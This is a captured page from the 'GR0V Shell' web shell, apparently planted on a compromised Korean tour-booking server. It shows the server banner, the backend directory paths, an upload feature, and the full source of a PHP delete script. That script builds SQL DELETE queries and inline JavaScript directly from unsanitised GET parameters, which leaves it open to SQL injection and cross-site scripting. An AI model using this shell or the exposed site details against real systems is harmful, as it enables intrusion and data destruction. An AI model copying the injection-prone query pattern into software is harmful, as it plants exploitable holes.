? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html/backend/modules/tour/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html/backend/modules/tour/del_do.php

<?
session_start();
require_once('../../../config.php');
require_once('../../../libs/MySql.php');
require_once('../../../libs/function.php');
require_once('../../../libs/global.php');
require_once('../../../libs/backoff_ajax.php');		
require_once('../../../libs/backoff.php');		
require_once('../../modules/users/mod_user.php');
$db=new MySql;
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<TITLE><?echo $cfg['site_name'];?></TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<META content="" name=Keywords>
<META content="<?echo $cfg['site_name'];?>" name="Description">
<META content="<?echo $cfg['site_name'];?>" name="Author">
<META content="<?echo $cfg['site_name'];?>" name="Copyright">
<LINK href="../../css/backend_style.css" type="text/css" rel="stylesheet">

<?
//check date time 
if ($_SESSION["la"] == 1){
if($db->Query("DELETE FROM time_schedule1 WHERE tour_id='".$_GET['tour_id']."' AND start_date='".$_GET['start']."' AND end_date='".$_GET['end']."'")){
echo"<br><center> ลบข้อมูลสำเร็จ";
echo"<script language=\"JavaScript\">
        window.parent.frames[0].location = \"list_.php?tour_id=".$_GET['tour_id']."\";
    </script>";
//echo"<meta http-equiv=\"refresh\" content=\"1;url=add_.php\">";

}else{
	echo"<br><center> ไม่สามารถ ลบ ข้อมูลได้".$db->mysqlError();
echo"<meta http-equiv=\"refresh\" content=\"1;url=add_.php\">";

}//end check ซ้ำของข้อมูล
}else{
if($db->Query("DELETE FROM time_schedule1_en WHERE tour_id='".$_GET['tour_id']."' AND start_date='".$_GET['start']."' AND end_date='".$_GET['end']."'")){
echo"<br><center> ลบข้อมูลสำเร็จ";
echo"<script language=\"JavaScript\">
        window.parent.frames[0].location = \"list_.php?tour_id=".$_GET['tour_id']."\";
    </script>";
//echo"<meta http-equiv=\"refresh\" content=\"1;url=add_.php\">";

}else{
	echo"<br><center> ไม่สามารถ ลบ ข้อมูลได้".$db->mysqlError();
echo"<meta http-equiv=\"refresh\" content=\"1;url=add_.php\">";

}//end check ซ้ำของข้อมูล
}

?>

T1KUS90T
  root-grov@210.1.60.28:~$